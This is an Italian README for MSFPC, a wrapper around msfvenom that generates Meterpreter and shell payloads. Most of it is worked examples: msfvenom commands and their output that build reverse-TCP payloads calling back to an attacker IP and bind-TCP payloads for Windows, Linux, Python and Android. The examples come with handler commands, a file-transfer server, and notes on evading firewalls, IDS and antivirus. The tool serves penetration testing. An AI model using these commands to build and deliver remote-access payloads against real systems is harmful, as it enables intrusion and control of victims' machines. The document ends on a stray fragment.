
MSFvenom Payload Creator (MSFPC)
Un modo veloce per generare vari payload "base" Meterpreter tramite msfvenom (parte del framework Metasploit).
MSFvenom Payload Creator (MSFPC) è un wrapper per generare diversi tipi di payload, in base alla scelta dell'utente. L'idea è di essere il più semplice possibile (richiedendo un solo input) per produrre il payload.
Automazione completa di msfvenom e Metasploit è l'obiettivo finale (così come poter automatizzare MSFPC stesso). Il resto è rendere la vita dell'utente il più facile possibile (ad es. menu di selezione IP, file/risorse di comandi msfconsole, produzione batch di payload e possibilità di inserire qualsiasi argomento in qualsiasi ordine (in vari formati/modelli)).
L'unico input necessario da parte dell'utente dovrebbe essere definire il payload desiderato tramite piattaforma (es. windows) o estensione del file che si vuole che il payload abbia (es. exe).
eth0.wan.loop.batch (tutto), batch msf (ogni opzione Meterpreter), batch staged (ogni payload staged), o batch cmd stageless (ogni prompt di comando stageless)!Nota: Questo NON tenterà di bypassare alcun software antivirus in nessuna fase.

## Installazione
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc
MSFPC è già pacchettizzato in Kali Rolling, quindi tutto ciò che devi fare è:
root@kali:~# apt install -y msfpc
## Aiuto
$ bash msfpc.sh -h -v
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
msfpc.sh <TIPO> (<DOMINIO/IP>) (<PORTA>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Esempio: msfpc.sh windows 192.168.1.10 # Windows e IP manuale.
msfpc.sh elf bind eth0 4444 # Linux, IP di eth0 e porta manuale.
msfpc.sh stageless cmd py https # Python, prompt di comando stageless.
msfpc.sh verbose loop eth1 # Un payload per ogni tipo, usando IP di eth1.
msfpc.sh msf batch wan # Tutti i possibili payload Meterpreter, usando IP WAN.
msfpc.sh help verbose # Schermata di aiuto, con ancora più informazioni.
<TIPO>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
Invece di inserire <DOMINIO/IP>, puoi specificare un'interfaccia e MSFPC rileverà quell'indirizzo IP.
Se manca <DOMINIO/IP>, verrà utilizzato il menu IP.
Se manca <PORTA>, verrà utilizzata la 443.
<CMD> è un prompt di comando/terminale nativo/standard per interagire.
<MSF> è una shell cross-platform personalizzata, che sfrutta tutta la potenza di Metasploit.
Se manca <CMD/MSF>, verrà utilizzato <MSF> dove possibile.
Nota: Metasploit non supporta (ancora!) <CMD/MSF> per tutti i formati <TIPO>.
I payload <CMD> sono generalmente più piccoli di <MSF> e più facili da bypassare EMET. Limitano il supporto di moduli/script post Metasploit.
I payload <MSF> sono generalmente molto più grandi di <CMD>, poiché offrono più funzionalità.
<BIND> apre una porta sul lato target e l'attaccante si connette ad essa. Comunemente bloccata da regole firewall di ingresso sul target.
<REVERSE> fa sì che il target si connetta all'attaccante. L'attaccante necessita di una porta aperta. Bloccata da regole firewall di uscita sul target.
Se manca <BIND/REVERSE>, verrà utilizzato <REVERSE>.
<BIND> permette all'attaccante di connettersi quando desidera. <REVERSE> richiede che il target si riconnetta ripetutamente per mantenere l'accesso permanente.
<STAGED> suddivide il payload in parti, rendendolo più piccolo ma dipendente da Metasploit.
<STAGELESS> è il payload completo autonomo. Più 'stabile' di <STAGED>.
Se manca <STAGED/STAGELESS>, verrà utilizzato <STAGED> dove possibile.
Nota: Metasploit non supporta (ancora!) <STAGED/STAGELESS> per tutti i formati <TIPO>.
<STAGED> sono 'migliori' in ambienti a larghezza di banda ridotta/latenza elevata.
<STAGELESS> sono considerati 'più furtivi' quando si bypassano protezioni antivirus. <STAGED> può funzionare 'meglio' con IDS/IPS.
Ulteriori informazioni: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
https://www.offensive-security.com/metasploit-unleashed/payload-types/
https://www.offensive-security.com/metasploit-unleashed/payloads/
<TCP> è il metodo standard per la connessione di ritorno. È il più compatibile con i TIPI poiché grezzo. Può essere facilmente rilevato dagli IDS.
<HTTP> fa sì che la comunicazione appaia come traffico HTTP (non crittografato). Utile per ispezione dei pacchetti, che limitano l'accesso alle porte in base al protocollo - es. TCP 80.
<HTTPS> fa sì che la comunicazione appaia come traffico HTTP (crittografato) utilizzando SSL. Utile per ispezione dei pacchetti, che limitano l'accesso alle porte in base al protocollo - es. TCP 443.
<FIND_PORT> tenterà ogni porta sulla macchina target, per trovare una via d'uscita. Utile con regole firewall di ingresso/uscita stringenti. Passerà a 'allports' in base a <TIPO>.
Se manca <TCP/HTTP/HTTPS/FIND_PORT>, verrà utilizzato <TCP>.
Alterando il traffico, come <HTTP> e ancor più <HTTPS>, si rallenta la comunicazione e si aumenta la dimensione del payload.
Ulteriori informazioni: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
<BATCH> genererà tutte le combinazioni possibili: <TIPO>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGELESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> creerà semplicemente uno di ogni <TIPO>.
<VERBOSE> mostrerà più informazioni.
$
$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Use which interface - IP address?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Select 1-3, interface or IP address: 1
[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
> '/root/python-shell-stageless-reverse-tcp-443.py'
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
Nota: IP WAN rimosso.
$ ./msfpc.sh loop wan
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Loop Mode. Creating one of each TYPE, with default values
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: xxx.xxx.xxx.xxx
[i] PORT: 443
[i] TYPE: android (android/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
> '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
...OMISSIS...
[*] Done!
$
Nota: IP WAN rimosso.

powershell_bind_tcp e bind_perl ecc.)